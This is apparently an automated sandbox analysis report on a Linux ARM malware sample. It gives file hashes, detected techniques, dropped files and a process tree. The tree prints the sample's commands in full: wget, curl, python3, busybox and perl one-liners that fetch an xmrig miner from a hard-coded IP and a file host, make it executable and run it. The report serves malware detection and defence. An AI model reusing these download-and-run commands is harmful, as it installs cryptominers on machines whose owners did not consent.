198a7d21faa1e489855ec22043720b6b3cab62bd9c95e66d55058ae4af131e56

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2026, 03:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
198a7d21faa1e489855ec22043720b6b3cab62bd9c95e66d55058ae4af131e56
Size 16KB
Sample261027-ea7b8sas8y
SHA256 198a7d21faa1e489855ec22043720b6b3cab62bd9c95e66d55058ae4af131e56
MD5 717761ccfded159ac2fffd1124bf3725
SHA1 534b5140406b8d47a4864db1f414c4250cb12854
SHA512 36d8d78aeb6f97fd656cc65f2278ce0b3e01b2c6ded5c1d8154bd6af07feff1770c2917e3781d455c69b16d7a046de2c77b6c06d02725316a388cee0ff13fc60
SSDEEP 384:Dwme6uc7+XibFzOsBS+yu3wlbtym3kRtPkXs:DwmcRStOso+yuAlbtym3kRtms
TLSH
T1F17278F6F838D97071DD807D699A364279865A3F08353882B09EBE743B7C125B0BA735
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
651	chmod
842	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/var/tmp/.pxw.640	649	198a7d21faa1e489855ec22043720b6b3cab62bd9c95e66d55058ae4af131e56
/var/tmp/plexd	843	198a7d21faa1e489855ec22043720b6b3cab62bd9c95e66d55058ae4af131e56

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.5ac7a8490ca9c95b	wget

/tmp/198a7d21faa1e489855ec22043720b6b3cab62bd9c95e66d55058ae4af131e56
/tmp/198a7d21faa1e489855ec22043720b6b3cab62bd9c95e66d55058ae4af131e56
1⤵
- Executes dropped EXE
PID:640
- /bin/mkdir
  mkdir /var/tmp/.pxdeploy.lock
  2⤵
  - Reads runtime system information
  PID:643
- /bin/date
  date "+%s"
  2⤵
  PID:647
- /bin/chmod
  chmod 755 /var/tmp/.pxw.640
  2⤵
  - File and Directory Permissions Modification
  PID:651
- /var/tmp/.pxw.640
  /var/tmp/.pxw.640
  2⤵
  PID:649
- /bin/rm
  rm -f /var/tmp/.pxw.640
  2⤵
  PID:654
- /bin/mkdir
  mkdir -p /var/tmp
  2⤵
  - Reads runtime system information
  PID:658
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:664
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:668
- /bin/readlink
  readlink /proc/103/exe
  2⤵
  PID:669
- /bin/readlink
  readlink /proc/105/exe
  2⤵
  PID:670
- /bin/readlink
  readlink /proc/106/exe
  2⤵
  PID:672
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:674
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:675
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:677
- /bin/readlink
  readlink /proc/135/exe
  2⤵
  PID:680
- /bin/readlink
  readlink /proc/139/exe
  2⤵
  PID:681
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:682
- /bin/readlink
  readlink /proc/141/exe
  2⤵
  PID:684
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:685
- /bin/readlink
  readlink /proc/156/exe
  2⤵
  PID:686
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:687
- /bin/readlink
  readlink /proc/165/exe
  2⤵
  PID:688
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:689
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:690
- /bin/readlink
  readlink /proc/186/exe
  2⤵
  PID:691
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:692
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:694
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:695
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:696
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:697
- /bin/readlink
  readlink /proc/220/exe
  2⤵
  PID:698
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:699
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:700
- /bin/readlink
  readlink /proc/25/exe
  2⤵
  PID:701
- /bin/readlink
  readlink /proc/26/exe
  2⤵
  PID:702
- /bin/readlink
  readlink /proc/27/exe
  2⤵
  PID:703
- /bin/readlink
  readlink /proc/274/exe
  2⤵
  PID:704
- /bin/readlink
  readlink /proc/276/exe
  2⤵
  PID:705
- /bin/readlink
  readlink /proc/278/exe
  2⤵
  PID:706
- /bin/readlink
  readlink /proc/28/exe
  2⤵
  PID:707
- /bin/readlink
  readlink /proc/284/exe
  2⤵
  PID:708
- /bin/readlink
  readlink /proc/289/exe
  2⤵
  PID:709
- /bin/readlink
  readlink /proc/29/exe
  2⤵
  PID:710
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:711
- /bin/readlink
  readlink /proc/303/exe
  2⤵
  PID:712
- /bin/readlink
  readlink /proc/312/exe
  2⤵
  PID:713
- /bin/readlink
  readlink /proc/323/exe
  2⤵
  PID:714
- /bin/readlink
  readlink /proc/329/exe
  2⤵
  PID:715
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:716
- /bin/readlink
  readlink /proc/41/exe
  2⤵
  PID:717
- /bin/readlink
  readlink /proc/42/exe
  2⤵
  PID:718
- /bin/readlink
  readlink /proc/43/exe
  2⤵
  PID:719
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:720
- /bin/readlink
  readlink /proc/563/exe
  2⤵
  PID:721
- /bin/readlink
  readlink /proc/577/exe
  2⤵
  PID:722
- /bin/readlink
  readlink /proc/579/exe
  2⤵
  PID:723
- /bin/readlink
  readlink /proc/587/exe
  2⤵
  PID:724
- /bin/readlink
  readlink /proc/588/exe
  2⤵
  PID:725
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:726
- /bin/readlink
  readlink /proc/629/exe
  2⤵
  PID:727
- /bin/readlink
  readlink /proc/631/exe
  2⤵
  PID:728
- /bin/readlink
  readlink /proc/637/exe
  2⤵
  PID:729
- /bin/readlink
  readlink /proc/638/exe
  2⤵
  PID:730
- /bin/readlink
  readlink /proc/639/exe
  2⤵
  PID:731
- /bin/readlink
  readlink /proc/640/exe
  2⤵
  PID:732
- /bin/readlink
  readlink /proc/642/exe
  2⤵
  PID:733
- /bin/readlink
  readlink /proc/645/exe
  2⤵
  PID:734
- /bin/readlink
  readlink /proc/650/exe
  2⤵
  PID:735
- /bin/readlink
  readlink /proc/656/exe
  2⤵
  PID:736
- /bin/readlink
  readlink /proc/661/exe
  2⤵
  PID:737
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:738
- /bin/readlink
  readlink /proc/74/exe
  2⤵
  PID:739
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:740
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:741
- /bin/readlink
  readlink /proc/96/exe
  2⤵
  PID:742
- /usr/bin/wget
  wget -q -T 15 -t 1 http://130.94.112.197:18899/bin/xmrig -O /var/tmp/plexd
  2⤵
  PID:743
- /usr/bin/wget
  wget -q -T 15 -t 1 https://n.uguu.se/rCMzearM.b64 -O /var/tmp/plexd.b64
  2⤵
  - Writes file to tmp directory
  PID:836
- /usr/bin/curl
  curl -sf --connect-timeout 5 --max-time 45 https://n.uguu.se/rCMzearM.b64 -o /var/tmp/plexd.b64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:837
- /usr/bin/python3
  python3 -c "import urllib.request,sys;open(sys.argv[2],'wb').write(urllib.request.urlopen(sys.argv[1],timeout=40).read())" https://n.uguu.se/rCMzearM.b64 /var/tmp/plexd.b64
  2⤵
  PID:839
- /bin/busybox
  busybox wget -q -O /var/tmp/plexd.b64 https://n.uguu.se/rCMzearM.b64
  2⤵
  PID:840
- /usr/bin/perl
  perl -MHTTP::Tiny -e "my \$u=HTTP::Tiny->new(timeout=>35); my \$r=\$u->mirror(\$ARGV[0],\$ARGV[1]); exit(\$r->{success}?0:1)" https://n.uguu.se/rCMzearM.b64 /var/tmp/plexd.b64
  2⤵
  PID:841
- /bin/chmod
  chmod 755 /var/tmp/plexd
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /var/tmp/plexd
  /var/tmp/plexd --version
  2⤵
  PID:843
- /usr/bin/wget
  wget -q -T 15 -t 1 http://130.94.112.197:18899/bin/xmrig-static -O /var/tmp/plexd
  2⤵
  PID:845

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

pid

Path /var/tmp/.pxdeploy.lock/pid
Size 4B
SHA256 6f66561e21b0199b9062fd250073abd3285978f46e226f876467b3f749246434
MD5 80b9fb2efed682dcd51c2edbc4800796
SHA1 b8b52380bbb19b858f5b74122304db9d2fe5f61f
SHA512 e3335414027bc6f66d383c5a5f9f58bae54a63831a5e61c07fef6870052a35aafeeeca57e4757a56d6ae38d9079ae52d41ada9c967389678159d27d98ad675f8
MD5 SHA1 SHA512

Submit Download

Path /var/tmp/.pxdeploy.lock/ts
Size 11B
SHA256 9f29541a5ebf270fb2f8ba8d97cebad98d3b140b6881df64175039a18cfe61ca
MD5 16024cf567dea0ce51c4bb6b4108b050
SHA1 dad0b9876b0bbcbf7377ae4780ac2a256bd7bd66
SHA512 6265e4fbef074f2a1f9e1d8a91b232e1734835f68d9ea38e03015a2f1e0d02ab5e68928938ac476db8131f8b63c1faee590bd5f5bbfb351f82492df3b0659dce
MD5 SHA1 SHA512

Submit Download

.pxw.640

Path /var/tmp/.pxw.640
Size 17B
SHA256 306c6ca7407560340797866e077e053627ad409277d1b9da58106fce4cf717cb
MD5 33e4fd94e2560e008e2c3b431d0e3419
SHA1 504519c842b7202250315ef562069e4ce10da99c
SHA512 69f097faa9ccb981e78c3a914ad68a51771637d9aecd2dbc807003ac30663e6d921091a48ff529dfff27a6cd55b0808f91683118acf7acdf406d37266e622b17
MD5 SHA1 SHA512

Submit Download

plexd

Path /var/tmp/plexd
Size 4.8MB
SHA256 87fcbebfe0833b732015868f3d8066ee26750afb5d2453ea47875fc1afb252e2
MD5 8a8c140968d987907251a2bbb4bccb21
SHA1 f5ad0d5dc6e9b01178a6c2dc28b3eb10928d8a61
SHA512 56f6c3c141e2b21963a9096adadae995695ba13957afa28ca25280ec7a36218fa7dd32852a0460d15b1d862cf3b8908a690d8f515509df6f2ed22e751e797b1b
SSDEEP 98304:yr6P2CZlp4ledj/mf7ukUzX093B9VK/OQGthOlgPEWi1MVNWoGt7rPAW3R1lrepU:bl4lcmDi1WIPFCu
TLSH
T1D9363A5BA5E320FCC5DAC074476FD623BE71B8994224BEBB2188AE302F56E50671DF11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

plexd

Path /var/tmp/plexd
Size 5.4MB
SHA256 589237d0abd03c50c634a91e3dab78532a4ebea14ed70a1475e4fb7313800ae4
MD5 1ea0cc837c87a58be5aabd76ef4d0237
SHA1 849ecfa31c69c8ecae098c9caeddabea47c077c3
SHA512 535109fe0b99b7cf4eb81a0bf8c25fa10e997c4bec4428868722a42e6aa7ebc7e4b17088cbaa07b770fa3c94423a50985ab8dc185bf4d5c1f3c4acbad31b4dc8
SSDEEP 98304:YSKSi/FM70AF/Auk3zX0H6aguAcFZqKjjMRPEkLqm7XyGkNA4xT0+x2gGYwZsVZE:ssQLqmjsxymsONkb
TLSH
T18A463A57A5E320FCC2DAC074476FD623BE71B8A942247EBF6188AA302F56E50671DF11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads